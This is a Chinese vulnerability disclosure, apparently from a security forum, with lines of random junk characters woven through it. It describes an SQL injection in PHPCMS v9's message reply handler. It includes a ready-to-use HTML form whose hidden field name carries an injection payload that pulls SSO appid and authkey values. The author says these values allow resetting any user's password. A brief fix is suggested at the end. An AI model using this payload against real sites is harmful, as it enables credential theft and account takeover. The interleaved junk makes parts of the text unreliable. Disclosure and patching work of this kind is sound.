|
简要描述:
# |) t/ l/ x% X5 n
b4 B3 b8 o' n3 x8 `8 o' X% s& Z第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
8 O, a, B! _( ~$ L0 `1 Z% M* i' @3 ^3 J5 c* |
明天再更新下一个漏洞。
1 d) m2 I% q. I详细说明:4 T! P5 i q4 `9 S- C
在/phpcms9/phpcms/modules/message/index.php中有代码如下:9 u) I1 H4 q8 [+ a6 G% D, ~
. ~ T0 s8 a2 X( o5 R
$messageid = $this->message_db->insert($_POST['info'],true);: W2 E7 Q b5 n$ ]
% s$ D- B& g0 q# U
: ]0 Q) C: `. O) p8 @
insert方法是key value的,代码如下:
; w) D" Q; v6 W' C/ K# K+ y/ s( g. Q6 K5 Q; M
public function insert($data, $table, $return_insert_id = false, $replace = false) {. O# x0 g9 R/ v" i5 \' m% P
if(!is_array( $data ) || $table == '' || count($data) == 0) {
4 z4 n3 B% g: \+ J return false;3 l6 v- F; m, {) p8 P0 A, a7 w4 D
}
6 G1 m$ E; m4 Q9 W$ z8 E7 u$ z9 t$ g4 {
# V9 t8 X1 e8 F/ g4 e3 ?1 L8 r $fielddata = array_keys($data);
" {( _ n( q' N0 f9 k* V! I $valuedata = array_values($data);: m' @0 f& a y: e5 W3 v2 Y/ \
array_walk($fielddata, array($this, 'add_special_char'));
4 A5 y0 z0 v- R& Z" U' f: z array_walk($valuedata, array($this, 'escape_string'));5 K J. ?( Y5 K1 C
% r4 V5 d8 X6 t: J5 o) V
$field = implode (',', $fielddata);
( a0 p9 ^$ i1 u* ` | $value = implode (',', $valuedata);) ?# T! t/ B- y
j' C8 p- r- H2 J2 T3 I $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';/ y* h S4 e0 E0 Y, m
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';- |" K, J% S1 h6 D
$return = $this->execute($sql);4 ~) N, }4 o' J8 P' U4 S0 r
return $return_insert_id ? $this->insert_id() : $return;$ i* F/ x0 \" T$ ]% O' W
}
# ?+ V$ W F1 I, N
( d7 x$ i, g2 p! o, o
! u: M$ p) b% ] y% R嗯,很遗憾的是' Y, E6 A- @) w# p3 T# }
+ n: v: q. s' f- }- _8 b) m
array_walk($fielddata, array($this, 'add_special_char'));
! R, c2 {: Y8 ~
3 T+ a- w6 s. o$ J$ o% H' v2 R5 i
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。" Y. d' ?3 E, N1 o* i' u
4 p$ t# [. }: |& B, p* n F0 q, C到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
~$ O' ~' w5 r C4 \% w1 X
3 C& ?3 c9 J' `! J漏洞证明:0 b7 p( @, T ?: t- c
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。* J2 }$ `! ]7 z0 r
% l, K, j3 H/ K( a
M0 [) V% M" }表单如下:用户名什么的得自己改一改。) |4 A- f, }, d2 [+ B. G
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">: g6 {2 E1 h' o; E
<table width="100%" cellspacing="0" class="table_form"> F$ y" @8 N- V/ m) l; C* B
<tr>
4 P ~+ f6 l# R1 n+ D<th>标 题:</th>
% C. v) a9 j" F( R' L7 h& b1 r<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>( X# t+ n& J) ?2 N# U$ K# q
</tr>
/ s8 x6 F2 @: T3 @+ D* m" F<tr>" [, m+ e* ^9 ?) n a
<th>内 容:</th>6 m) H& m- w* l6 z
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
) I$ f% a9 l+ z7 R' P</tr>
' h3 G4 `9 [' C& z: R" k" ]" L; K<input type="hidden" name="info[replyid]" value="2" />
' H3 T& r7 O" P" [6 [: b3 m9 I<input type="hidden" name="info[send_to_id]" value="cc" />
' c- N$ _. ?8 M- v% Z4 f9 e3 i0 a# _<input type="hidden" name="info[send_from_id]" value="hh">
0 m" Q4 G5 R D/ ^4 U<!-- 漏洞的利用重点在这里开始 -->4 j1 z, v3 o( P( s3 e( x4 c
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> , d4 W+ l/ M; V$ c
<!-- 漏洞的利用重点在这里结束 -->% q* d3 b b) a0 _
<tr>
/ D$ n) {0 a; I9 b2 F<th>验证码:</th>3 a) |0 j4 G2 |: y2 M2 ]
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>9 V) L" A5 ^/ X8 \ y
</tr>
@: D# e" a* }! W5 ]3 q<tr>
2 f' u2 [) k; d<td></td>
# Q9 R6 f" q5 }2 S3 s<td colspan="2"><label>
3 s5 j* x0 E3 x# G# V<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
9 I# V% q! |3 V/ N</label></td>
+ i4 R6 Y: h' b</tr>" i* I8 b1 x( ^; ?; n; Q/ `
</table>
1 \# Y5 z: h) N% Q9 r</form>+ ]2 u0 H" `8 ^$ J) @% e! c3 C
在add_special_char函数内对key做过滤就可以了。6 u! T/ h1 N5 o) Y$ F
7 d8 l* f! X! S: w% y+ h; Z
1 P x" v6 V% P( n; {
1 ^) e+ g- J/ J0 n5 C1 w" I. o3 S |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|